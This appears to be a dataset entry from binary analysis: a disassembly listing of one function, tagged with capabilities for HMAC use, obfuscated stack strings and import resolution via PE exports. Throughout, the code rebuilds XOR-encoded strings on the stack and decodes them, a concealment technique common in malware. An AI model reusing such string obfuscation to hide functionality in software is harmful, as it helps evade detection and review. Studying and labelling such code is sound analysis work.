Function at 0x1800756f0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
mov eax, 0x7060
call fcn.1801462f0
sub rsp, rax
mov rax, qword [0x1801d01d0]
xor rax, rsp
mov qword [rsp + 0x7058], rax
mov r14, rdx
mov qword [rsp + 0x1730], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x7010], xmm0
movdqa xmm1, xmmword [str.9.____________6]
movdqu xmmword [rsp + 0x19e8], xmm1
mov byte [rsp + 0x19f8], 0x3b
mov byte [rsp + 0x19f9], 0x33
mov byte [rsp + 0x19fa], 0x37
mov byte [rsp + 0x19fb], 0x38
mov byte [rsp + 0x19fc], 0x35
mov byte [rsp + 0x19fd], 0x2e
mov byte [rsp + 0x19fe], 0x5a
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x1070], xmm1
mov dword [rsp + 0x1080], 0x3837333b
mov word [rsp + 0x1084], 0x2e35
mov byte [rsp + 0x1086], 0x5a
lea rax, [rsp + 0x1070]
mov qword [rsp + 0x4918], rax
lea rcx, [rsp + 0x2d20]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x17]
lea rcx, [rsp + 0x2d20]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1244], edi
cmp edi, 0x17
jge 0x18007583e
lea rax, [rsp + 0x1070]
mov qword [rsp + 0x4910], rax
movsxd rdx, edi
mov qword [rsp + 0x4908], rdx
cmp rdx, 0x17
jae 0x18008ba9d
lea rax, [rsp + 0x1070]
add rax, rdx
mov qword [rsp + 0x4900], rax
movzx ebx, byte [rax]
xor bl, 0x5a
lea rcx, [rsp + 0x2d20]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1244], edi
jmp 0x1800757e1
lea rax, [rsp + 0x2d20]
mov qword [rsp + 0x48f8], rax
lea rcx, [rsp + 0x2d20]
call fcn.18000ce90
mov qword [rsp + 0x48f0], rax
mov rdx, rax
lea rcx, [rsp + 0x4ff0]
call fcn.1800132b0
lea rdx, [0x1801eaec2]
lea rcx, [rsp + 0x5010]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b2450]
movdqu xmmword [rsp + 0x1a00], xmm0
mov byte [rsp + 0x1a10], 0
mov byte [rsp + 0x1a11], 0x17
mov byte [rsp + 0x1a12], 0x3a
mov byte [rsp + 0x1a13], 0xe
mov byte [rsp + 0x1a14], 0
mov byte [rsp + 0x1a15], 0x1c
mov byte [rsp + 0x1a16], 0x65
movdqu xmmword [rsp + 0x1028], xmm0
mov dword [rsp + 0x1038], 0xe3a1700
mov word [rsp + 0x103c], 0x1c00
mov byte [rsp + 0x103e], 0x65
lea rax, [rsp + 0x1028]
mov qword [rsp + 0x48e8], rax
lea rcx, [rsp + 0x2d00]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x17]
lea rcx, [rsp + 0x2d00]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1088], edi
cmp edi, 0x17
jge 0x18007598d
lea rax, [rsp + 0x1028]
mov qword [rsp + 0x48e0], rax
movsxd rdx, edi
mov qword [rsp + 0x48d8], rdx
cmp rdx, 0x17
jae 0x18008baaa
lea rax, [rsp + 0x1028]
add rax, rdx
mov qword [rsp + 0x48d0], rax
movzx ebx, byte [rax]
xor bl, 0x65
lea rcx, [rsp + 0x2d00]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1088], edi
jmp 0x180075930
lea rax, [rsp + 0x2d00]
mov qword [rsp + 0x48c8], rax
lea rcx, [rsp + 0x2d00]
call fcn.18000ce90
mov qword [rsp + 0x48c0], rax
mov rdx, rax
lea rcx, [rsp + 0x5020]
call fcn.1800132b0
lea rdx, [0x1801eae64]
lea rcx, [rsp + 0x5040]
call fcn.1800ca0f0
movdqa xmm0, xmmword [0x1801b3c20]
movdqu xmmword [rsp + 0x15b0], xmm0
mov byte [rsp + 0x15c0], 0x58
mov byte [rsp + 0x15c1], 0x53
mov byte [rsp + 0x15c2], 0x5a
mov byte [rsp + 0x15c3], 0x55
mov byte [rsp + 0x15c4], 0x58
mov byte [rsp + 0x15c5], 0x5e
mov byte [rsp + 0x15c6], 0x64
mov byte [rsp + 0x15c7], 0x5e
mov byte [rsp + 0x15c8], 0x59
mov byte [rsp + 0x15c9], 0x3b
movdqu xmmword [rsp + 0xf68], xmm0
mov dword [rsp + 0xf78], 0x555a5358
mov dword [rsp + 0xf7c], 0x5e645e58
mov word [rsp + 0xf80], 0x3b59
lea rax, [rsp + 0xf68]
mov qword [rsp + 0x48b8], rax
lea rcx, [rsp + 0x2ce0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1a]
lea rcx, [rsp + 0x2ce0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x108c], edi
nop word [rax + rax]
cmp edi, 0x1a
jge 0x180075afd
lea rax, [rsp + 0xf68]
mov qword [rsp + 0x48b0], rax
movsxd rdx, edi
mov qword [rsp + 0x48a8], rdx
cmp rdx, 0x1a
jae 0x18008bab7
lea rax, [rsp + 0xf68]
add rax, rdx
mov qword [rsp + 0x48a0], rax
movzx ebx, byte [rax]
xor bl, 0x3b
lea rcx, [rsp + 0x2ce0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x108c], edi
jmp 0x180075aa0
lea rax, [rsp + 0x2ce0]
mov qword [rsp + 0x4898], rax
lea rcx, [rsp + 0x2ce0]
call fcn.18000ce90
mov qword [rsp + 0x4890], rax
mov rdx, rax
lea rcx, [rsp + 0x5050]
call fcn.1800132b0
lea rdx, [0x1801eae9a]
lea rcx, [rsp + 0x5070]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b3cc0]
movdqu xmmword [rsp + 0x19d0], xmm0
mov byte [rsp + 0x19e0], 0x54
mov byte [rsp + 0x19e1], 0x5f
mov byte [rsp + 0x19e2], 0x56
mov byte [rsp + 0x19e3], 0x59
mov byte [rsp + 0x19e4], 0x54
mov byte [rsp + 0x19e5], 0x52
mov byte [rsp + 0x19e6], 0x37
movdqu xmmword [rsp + 0x1058], xmm0
mov dword [rsp + 0x1068], 0x59565f54
mov word [rsp + 0x106c], 0x5254
mov byte [rsp + 0x106e], 0x37
lea rax, [rsp + 0x1058]
mov qword [rsp + 0x4888], rax
lea rcx, [rsp + 0x2cc0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x17]
lea rcx, [rsp + 0x2cc0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1090], edi
nop
cmp edi, 0x17
jge 0x180075c4d
lea rax, [rsp + 0x1058]
mov qword [rsp + 0x4880], rax
movsxd rdx, edi
mov qword [rsp + 0x4878], rdx
cmp rdx, 0x17
jae 0x18008bac4
lea rax, [rsp + 0x1058]
add rax, rdx
mov qword [rsp + 0x4870], rax
movzx ebx, byte [rax]
xor bl, 0x37
lea rcx, [rsp + 0x2cc0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1090], edi
jmp 0x180075bf0
lea rax, [rsp + 0x2cc0]
mov qword [rsp + 0x4868], rax
lea rcx, [rsp + 0x2cc0]
call fcn.18000ce90
mov qword [rsp + 0x4860], rax
mov rdx, rax
lea rcx, [rsp + 0x5080]
call fcn.1800132b0
lea rdx, [0x1801d1af0]
lea rcx, [rsp + 0x50a0]
call fcn.1800ca0f0
movdqa xmm0, xmmword [str._6:xx401xx_16]
movdqu xmmword [rsp + 0x2518], xmm0
mov byte [rsp + 0x2528], 0x30
mov byte [rsp + 0x2529], 0x37
mov byte [rsp + 0x252a], 0x2c
mov byte [rsp + 0x252b], 0x42
movdqu xmmword [rsp + 0x1418], xmm0
mov dword [rsp + 0x1428], 0x422c3730
lea rax, [rsp + 0x1418]
mov qword [rsp + 0x4858], rax
lea rcx, [rsp + 0x2ca0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x14]
lea rcx, [rsp + 0x2ca0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1094], edi
cmp edi, 0x14
jge 0x180075d72
lea rax, [rsp + 0x1418]
mov qword [rsp + 0x4850], rax
movsxd rdx, edi
mov qword [rsp + 0x4848], rdx
cmp rdx, 0x14
jae 0x18008bad1
lea rax, [rsp + 0x1418]
add rax, rdx
mov qword [rsp + 0x4840], rax
movzx ebx, byte [rax]
xor bl, 0x42
lea rcx, [rsp + 0x2ca0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1094], edi
jmp 0x180075d15
lea rax, [rsp + 0x2ca0]
mov qword [rsp + 0x4838], rax
lea rcx, [rsp + 0x2ca0]
call fcn.18000ce90
mov qword [rsp + 0x4830], rax
mov rdx, rax
lea rcx, [rsp + 0x50b0]
call fcn.1800132b0
lea rdx, [0x1801eaeb8]
lea rcx, [rsp + 0x50d0]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b4020]
movdqu xmmword [rsp + 0x1368], xmm0
mov byte [rsp + 0x1378], 0x7b
mov byte [rsp + 0x1379], 0x76
mov byte [rsp + 0x137a], 0x70
mov byte [rsp + 0x137b], 0x4a
mov byte [rsp + 0x137c], 0x65
mov byte [rsp + 0x137d], 0x7a
mov byte [rsp + 0x137e], 0x66
mov byte [rsp + 0x137f], 0x7c
mov byte [rsp + 0x1380], 0x61
mov byte [rsp + 0x1381], 0x7c
mov byte [rsp + 0x1382], 0x7a
mov byte [rsp + 0x1383], 0x7b
mov byte [rsp + 0x1384], 0x15
movdqu xmmword [rsp + 0xe88], xmm0
mov dword [rsp + 0xe98], 0x4a70767b
mov dword [rsp + 0xe9c], 0x7c667a65
mov dword [rsp + 0xea0], 0x7b7a7c61
mov byte [rsp + 0xea4], 0x15
lea rax, [rsp + 0xe88]
mov qword [rsp + 0x4828], rax
lea rcx, [rsp + 0x2c80]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1d]
lea rcx, [rsp + 0x2c80]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1098], edi
cmp edi, 0x1d
jge 0x180075efd
lea rax, [rsp + 0xe88]
mov qword [rsp + 0x4820], rax
movsxd rdx, edi
mov qword [rsp + 0x4818], rdx
cmp rdx, 0x1d
jae 0x18008bade
lea rax, [rsp + 0xe88]
add rax, rdx
mov qword [rsp + 0x4810], rax
movzx ebx, byte [rax]
xor bl, 0x15
lea rcx, [rsp + 0x2c80]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1098], edi
jmp 0x180075ea0
lea rax, [rsp + 0x2c80]
mov qword [rsp + 0x4808], rax
lea rcx, [rsp + 0x2c80]
call fcn.18000ce90
mov qword [rsp + 0x4800], rax
mov rdx, rax
lea rcx, [rsp + 0x50e0]
call fcn.1800132b0
lea rdx, [0x1801d1af4]
lea rcx, [rsp + 0x5100]
call fcn.1800ca0f0
movdqa xmm0, xmmword [0x1801b4190]
movdqu xmmword [rsp + 0x15e8], xmm0
mov byte [rsp + 0x15f8], 0x52
mov byte [rsp + 0x15f9], 0x4d
mov byte [rsp + 0x15fa], 0x51
mov byte [rsp + 0x15fb], 0x4b
mov byte [rsp + 0x15fc], 0x56
mov byte [rsp + 0x15fd], 0x4b
mov byte [rsp + 0x15fe], 0x4d
mov byte [rsp + 0x15ff], 0x4c
mov byte [rsp + 0x1600], 0x22
movdqu xmmword [rsp + 0xfb8], xmm0
mov dword [rsp + 0xfc8], 0x4b514d52
mov dword [rsp + 0xfcc], 0x4c4d4b56
mov byte [rsp + 0xfd0], 0x22
lea rax, [rsp + 0xfb8]
mov qword [rsp + 0x47f8], rax
lea rcx, [rsp + 0x2c60]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x19]
lea rcx, [rsp + 0x2c60]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x109c], edi
cmp edi, 0x19
jge 0x18007605d
lea rax, [rsp + 0xfb8]
mov qword [rsp + 0x47f0], rax
movsxd rdx, edi
mov qword [rsp + 0x47e8], rdx
cmp rdx, 0x19
jae 0x18008baeb
lea rax, [rsp + 0xfb8]
add rax, rdx
mov qword [rsp + 0x47e0], rax
movzx ebx, byte [rax]
xor bl, 0x22
lea rcx, [rsp + 0x2c60]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x109c], edi
jmp 0x180076000
lea rax, [rsp + 0x2c60]
mov qword [rsp + 0x47d8], rax
lea rcx, [rsp + 0x2c60]
call fcn.18000ce90
mov qword [rsp + 0x47d0], rax
mov rdx, rax
lea rcx, [rsp + 0x5110]
call fcn.1800132b0
lea rdx, [0x1801eae6c]
lea rcx, [rsp + 0x5130]
call fcn.1800ca0f0
movdqa xmm0, xmmword [0x1801b3ae0]
movdqu xmmword [rsp + 0x1480], xmm0
mov byte [rsp + 0x1490], 0x5f
mov byte [rsp + 0x1491], 0x6e
mov byte [rsp + 0x1492], 0x41
mov byte [rsp + 0x1493], 0x5e
mov byte [rsp + 0x1494], 0x42
mov byte [rsp + 0x1495], 0x58
mov byte [rsp + 0x1496], 0x45
mov byte [rsp + 0x1497], 0x58
mov byte [rsp + 0x1498], 0x5e
mov byte [rsp + 0x1499], 0x5f
mov byte [rsp + 0x149a], 0x31
movdqu xmmword [rsp + 0xf28], xmm0
mov dword [rsp + 0xf38], 0x5e416e5f
mov dword [rsp + 0xf3c], 0x58455842
mov word [rsp + 0xf40], 0x5f5e
mov byte [rsp + 0xf42], 0x31
lea rax, [rsp + 0xf28]
mov qword [rsp + 0x47c8], rax
lea rcx, [rsp + 0x2c40]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1b]
lea rcx, [rsp + 0x2c40]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10a0], edi
nop word [rax + rax]
cmp edi, 0x1b
jge 0x1800761dd
lea rax, [rsp + 0xf28]
mov qword [rsp + 0x47c0], rax
movsxd rdx, edi
mov qword [rsp + 0x47b8], rdx
cmp rdx, 0x1b
jae 0x18008baf8
lea rax, [rsp + 0xf28]
add rax, rdx
mov qword [rsp + 0x47b0], rax
movzx ebx, byte [rax]
xor bl, 0x31
lea rcx, [rsp + 0x2c40]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10a0], edi
jmp 0x180076180
lea rax, [rsp + 0x2c40]
mov qword [rsp + 0x47a8], rax
lea rcx, [rsp + 0x2c40]
call fcn.18000ce90
mov qword [rsp + 0x47a0], rax
mov rdx, rax
lea rcx, [rsp + 0x5140]
call fcn.1800132b0
lea rdx, [0x1801d1b08]
lea rcx, [rsp + 0x5160]
call fcn.1800ca0f0
mov byte [rsp + 0x3e0], 0x59
mov byte [rsp + 0x3e1], 0x53
mov byte [rsp + 0x3e2], 0x5e
mov byte [rsp + 0x3e3], 0x58
mov byte [rsp + 0x3e4], Ordinal_79
mov byte [rsp + 0x3e5], 0x60
mov byte [rsp + 0x3e6], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x3e7], 0x3f
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0xe70], rax
lea rax, [rsp + 0xe70]
mov qword [rsp + 0x4798], rax
lea rcx, [rsp + 0x2c20]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rsp + 0x2c20]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10a4], edi
cmp edi, 8
jge 0x18007630d
lea rax, [rsp + 0xe70]
mov qword [rsp + 0x4790], rax
movsxd rdx, edi
mov qword [rsp + 0x4788], rdx
cmp rdx, 8
jae 0x18008bb05
lea rax, [rsp + 0xe70]
add rax, rdx
mov qword [rsp + 0x4780], rax
movzx ebx, byte [rax]
xor bl, 0x3f
lea rcx, [rsp + 0x2c20]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10a4], edi
jmp 0x1800762b0
lea rax, [rsp + 0x2c20]
mov qword [rsp + 0x4778], rax
lea rcx, [rsp + 0x2c20]
call fcn.18000ce90
mov qword [rsp + 0x4770], rax
lea rsi, [0x1801f3168]
mov qword [rsp + 0x4768], rsi
mov rbx, qword [0x1801f3168]
mov rcx, qword [0x1801f3170]
sub rcx, rbx
sar rcx, 4
test rcx, rcx
je 0x18008bb12
mov qword [rsp + 0x4760], rbx
add rbx, 8
mov qword [rsp + 0x4758], rbx
mov rdx, rax
lea rcx, [rsp + 0x5170]
call fcn.1800132b0
mov rdx, rbx
lea rcx, [rsp + 0x5190]
call fcn.1800ca0d0
mov byte [rsp + 0x3d8], 0x64
mov byte [rsp + 0x3d9], WSAGetLastError
mov byte [rsp + 0x3da], 0x63
mov byte [rsp + 0x3db], 0x65
mov byte [rsp + 0x3dc], WSAStartup
mov byte [rsp + 0x3dd], 0x5d
mov byte [rsp + 0x3de], gethostname
mov byte [rsp + 0x3df], 2
mov rax, qword [rsp + 0x3d8]
mov qword [rsp + 0xe78], rax
lea rax, [rsp + 0xe78]
mov qword [rsp + 0x4750], rax
lea rcx, [rsp + 0x2f80]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rsp + 0x2f80]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10a8], edi
nop dword [rax]
cmp edi, 8
jge 0x18007647d
lea rax, [rsp + 0xe78]
mov qword [rsp + 0x4748], rax
movsxd rdx, edi
mov qword [rsp + 0x4740], rdx
cmp rdx, 8
jae 0x18008bb17
lea rax, [rsp + 0xe78]
add rax, rdx
mov qword [rsp + 0x4738], rax
movzx ebx, byte [rax]
xor bl, 2
lea rcx, [rsp + 0x2f80]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10a8], edi
jmp 0x180076420
lea rax, [rsp + 0x2f80]
mov qword [rsp + 0x4730], rax
lea rcx, [rsp + 0x2f80]
call fcn.18000ce90
mov rdx, rax
mov qword [rsp + 0x4728], rax
mov qword [rsp + 0x4720], rsi
mov rax, qword [0x1801f3168]
mov rcx, qword [0x1801f3170]
sub rcx, rax
sar rcx, 4
cmp rcx, 1
jbe 0x18008bb24
add rax, 0x10
mov qword [rsp + 0x4718], rax
lea rbx, [rax + 8]
mov qword [rsp + 0x4710], rbx
lea rcx, [rsp + 0x51a0]
call fcn.1800132b0
mov rdx, rbx
lea rcx, [rsp + 0x51c0]
call fcn.1800ca0d0
mov byte [rsp + 0x3e8], 0x56
mov byte [rsp + 0x3e9], 0x5c
mov byte [rsp + 0x3ea], 0x51
mov byte [rsp + 0x3eb], 0x57
mov byte [rsp + 0x3ec], 0x43
mov byte [rsp + 0x3ed], 0x6f
mov byte [rsp + 0x3ee], 3
mov byte [rsp + 0x3ef], 0x30
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0xe68], rax
lea rax, [rsp + 0xe68]
mov qword [rsp + 0x4708], rax
lea rcx, [rsp + 0x2be0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rsp + 0x2be0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10ac], edi
nop dword [rax + rax]
cmp edi, 8
jge 0x1800765ed
lea rax, [rsp + 0xe68]
mov qword [rsp + 0x4700], rax
movsxd rdx, edi
mov qword [rsp + 0x46f8], rdx
cmp rdx, 8
jae 0x18008bb29
lea rax, [rsp + 0xe68]
add rax, rdx
mov qword [rsp + 0x46f0], rax
movzx ebx, byte [rax]
xor bl, 0x30
lea rcx, [rsp + 0x2be0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10ac], edi
jmp 0x180076590
lea rax, [rsp + 0x2be0]
mov qword [rsp + 0x46e8], rax
lea rcx, [rsp + 0x2be0]
call fcn.18000ce90
mov qword [rsp + 0x46e0], rax
lea rsi, [0x1801f3150]
mov qword [rsp + 0x46d8], rsi
mov rbx, qword [0x1801f3150]
mov rcx, qword [0x1801f3158]
sub rcx, rbx
sar rcx, 4
test rcx, rcx
je 0x18008bb36
mov qword [rsp + 0x46d0], rbx
add rbx, 8
mov qword [rsp + 0x46c8], rbx
mov rdx, rax
lea rcx, [rsp + 0x51d0]
call fcn.1800132b0
mov rdx, rbx
lea rcx, [rsp + 0x51f0]
call fcn.1800ca0d0
mov byte [rsp + 0x3d0], 0x41
mov byte [rsp + 0x3d1], Ordinal_79
mov byte [rsp + 0x3d2], 0x46
mov byte [rsp + 0x3d3], 0x40
mov byte [rsp + 0x3d4], 0x54
mov byte [rsp + 0x3d5], 0x78
mov byte [rsp + 0x3d6], reloc.WS2_32.dll_send
mov byte [rsp + 0x3d7], Ordinal_46
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0xe80], rax
lea rax, [rsp + 0xe80]
mov qword [rsp + 0x46c0], rax
lea rcx, [rsp + 0x2bc0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rsp + 0x2bc0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10b0], edi
nop dword [rax]
cmp edi, 8
jge 0x18007675d
lea rax, [rsp + 0xe80]
mov qword [rsp + 0x46b8], rax
movsxd rdx, edi
mov qword [rsp + 0x46b0], rdx
cmp rdx, 8
jae 0x18008bb3b
lea rax, [rsp + 0xe80]
add rax, rdx
mov qword [rsp + 0x46a8], rax
movzx ebx, byte [rax]
xor bl, 0x27
lea rcx, [rsp + 0x2bc0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10b0], edi
jmp 0x180076700
lea rax, [rsp + 0x2bc0]
mov qword [rsp + 0x46a0], rax
lea rcx, [rsp + 0x2bc0]
call fcn.18000ce90
mov rdx, rax
mov qword [rsp + 0x4698], rax
mov qword [rsp + 0x4690], rsi
mov rax, qword [0x1801f3150]
mov rcx, qword [0x1801f3158]
sub rcx, rax
sar rcx, 4
cmp rcx, 1
jbe 0x18008bb48
add rax, 0x10
mov qword [rsp + 0x4688], rax
lea rbx, [rax + 8]
mov qword [rsp + 0x4680], rbx
lea rcx, [rsp + 0x5200]
call fcn.1800132b0
mov rdx, rbx
lea rcx, [rsp + 0x5220]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b3c50]
movdqu xmmword [rsp + 0x13b8], xmm0
mov byte [rsp + 0x13c8], 0x6e
mov byte [rsp + 0x13c9], 0x65
mov byte [rsp + 0x13ca], 0x7e
mov byte [rsp + 0x13cb], 0x54
mov byte [rsp + 0x13cc], 0x68
mov byte [rsp + 0x13cd], 0x64
mov byte [rsp + 0x13ce], 0x67
mov byte [rsp + 0x13cf], 0x64
mov byte [rsp + 0x13d0], 0x79
mov byte [rsp + 0x13d1], 0x54
mov byte [rsp + 0x13d2], 0x73
mov byte [rsp + 0x13d3], 0xb
movdqu xmmword [rsp + 0xee8], xmm0
mov dword [rsp + 0xef8], 0x547e656e
mov dword [rsp + 0xefc], 0x64676468
mov dword [rsp + 0xf00], 0xb735479
lea rax, [rsp + 0xee8]
mov qword [rsp + 0x4678], rax
lea rcx, [rsp + 0x2ba0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1c]
lea rcx, [rsp + 0x2ba0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10b4], edi
cmp edi, 0x1c
jge 0x180076913
lea rax, [rsp + 0xee8]
mov qword [rsp + 0x4670], rax
movsxd rdx, edi
mov qword [rsp + 0x4668], rdx
cmp rdx, 0x1c
jae 0x18008bb4d
lea rax, [rsp + 0xee8]
add rax, rdx
mov qword [rsp + 0x4660], rax
movzx ebx, byte [rax]
xor bl, 0xb
lea rcx, [rsp + 0x2ba0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10b4], edi
jmp 0x1800768b6
lea rax, [rsp + 0x2ba0]
mov qword [rsp + 0x4658], rax
lea rcx, [rsp + 0x2ba0]
call fcn.18000ce90
mov qword [rsp + 0x4650], rax
mov rdx, rax
lea rcx, [rsp + 0x5230]
call fcn.1800132b0
lea rdx, [0x1801e3cf0]
lea rcx, [rsp + 0x5250]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b25d0]
movdqu xmmword [rsp + 0x13d8], xmm0
mov byte [rsp + 0x13e8], 4
mov byte [rsp + 0x13e9], 0xf
mov byte [rsp + 0x13ea], 0x14
mov byte [rsp + 0x13eb], 0x3e
mov byte [rsp + 0x13ec], 2
mov byte [rsp + 0x13ed], 0xe
mov byte [rsp + 0x13ee], 0xd
mov byte [rsp + 0x13ef], 0xe
mov byte [rsp + 0x13f0], 0x13
mov byte [rsp + 0x13f1], 0x3e
mov byte [rsp + 0x13f2], 0x18
mov byte [rsp + 0x13f3], 0x61
movdqu xmmword [rsp + 0xec8], xmm0
mov dword [rsp + 0xed8], 0x3e140f04
mov dword [rsp + 0xedc], 0xe0d0e02
mov dword [rsp + 0xee0], 0x61183e13
lea rax, [rsp + 0xec8]
mov qword [rsp + 0x4648], rax
lea rcx, [rsp + 0x2b80]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1c]
lea rcx, [rsp + 0x2b80]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10b8], edi
cmp edi, 0x1c
jge 0x180076a8e
lea rax, [rsp + 0xec8]
mov qword [rsp + 0x4640], rax
movsxd rdx, edi
mov qword [rsp + 0x4638], rdx
cmp rdx, 0x1c
jae 0x18008bb5a
lea rax, [rsp + 0xec8]
add rax, rdx
mov qword [rsp + 0x4630], rax
movzx ebx, byte [rax]
xor bl, 0x61
lea rcx, [rsp + 0x2b80]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10b8], edi
jmp 0x180076a31
lea rax, [rsp + 0x2b80]
mov qword [rsp + 0x4628], rax
lea rcx, [rsp + 0x2b80]
call fcn.18000ce90
mov qword [rsp + 0x4620], rax
mov rdx, rax
lea rcx, [rsp + 0x5260]
call fcn.1800132b0
lea rdx, [0x1801e3cf4]
lea rcx, [rsp + 0x5280]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b2640]
movdqu xmmword [rsp + 0x13f8], xmm0
mov byte [rsp + 0x1408], 6
mov byte [rsp + 0x1409], 0xd
mov byte [rsp + 0x140a], 0x16
mov byte [rsp + 0x140b], 0x3c
mov byte [rsp + 0x140c], 0
mov byte [rsp + 0x140d], 0xc
mov byte [rsp + 0x140e], 0xf
mov byte [rsp + 0x140f], 0xc
mov byte [rsp + 0x1410], 0x11
mov byte [rsp + 0x1411], 0x3c
mov byte [rsp + 0x1412], 0x19
mov byte [rsp + 0x1413], 0x63
movdqu xmmword [rsp + 0xea8], xmm0
mov dword [rsp + 0xeb8], 0x3c160d06
mov dword [rsp + 0xebc], 0xc0f0c00
mov dword [rsp + 0xec0], 0x63193c11
lea rax, [rsp + 0xea8]
mov qword [rsp + 0x4618], rax
lea rcx, [rsp + 0x2b60]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1c]
lea rcx, [rsp + 0x2b60]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10bc], edi
nop dword [rax]
cmp edi, 0x1c
jge 0x180076c0d
lea rax, [rsp + 0xea8]
mov qword [rsp + 0x4610], rax
movsxd rdx, edi
mov qword [rsp + 0x4608], rdx
cmp rdx, 0x1c
jae 0x18008bb67
lea rax, [rsp + 0xea8]
add rax, rdx
mov qword [rsp + 0x4600], rax
movzx ebx, byte [rax]
xor bl, 0x63
lea rcx, [rsp + 0x2b60]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10bc], edi
jmp 0x180076bb0
lea rax, [rsp + 0x2b60]
mov qword [rsp + 0x45f8], rax
lea rcx, [rsp + 0x2b60]
call fcn.18000ce90
mov qword [rsp + 0x45f0], rax
mov rdx, rax
lea rcx, [rsp + 0x5290]
call fcn.1800132b0
lea rdx, [0x1801e3cf8]
lea rcx, [rsp + 0x52b0]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b2960]
movdqu xmmword [rsp + 0x4ee0], xmm0
movdqa xmm1, xmmword [0x1801b4110]
movdqu xmmword [rsp + 0x4ef0], xmm1
movdqu xmmword [rsp + 0x2e20], xmm0
movdqu xmmword [rsp + 0x2e30], xmm1
lea rax, [rsp + 0x2e20]
mov qword [rsp + 0x45e8], rax
lea rcx, [rsp + 0x2b40]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x20]
lea rcx, [rsp + 0x2b40]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10c0], edi
cmp edi, 0x20
jge 0x180076d21
lea rax, [rsp + 0x2e20]
mov qword [rsp + 0x45e0], rax
movsxd rdx, edi
mov qword [rsp + 0x45d8], rdx
cmp rdx, 0x20
jae 0x18008bb74
lea rax, [rsp + 0x2e20]
add rax, rdx
mov qword [rsp + 0x45d0], rax
movzx ebx, byte [rax]
xor bl, 0x7a
lea rcx, [rsp + 0x2b40]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10c0], edi
jmp 0x180076cc4
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x45c8], rax
lea rcx, [rsp + 0x2b40]
call fcn.18000ce90
mov qword [rsp + 0x45c0], rax
mov rdx, rax
lea rcx, [rsp + 0x52c0]
call fcn.1800132b0
lea rdx, [0x1801e3ca0]
lea rcx, [rsp + 0x52e0]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b3d00]
movdqu xmmword [rsp + 0x4f00], xmm0
movdqa xmm1, xmmword [0x1801b25e0]
movdqu xmmword [rsp + 0x4f10], xmm1
movdqu xmmword [rsp + 0x2e40], xmm0
movdqu xmmword [rsp + 0x2e50], xmm1
lea rax, [rsp + 0x2e40]
mov qword [rsp + 0x45b8], rax
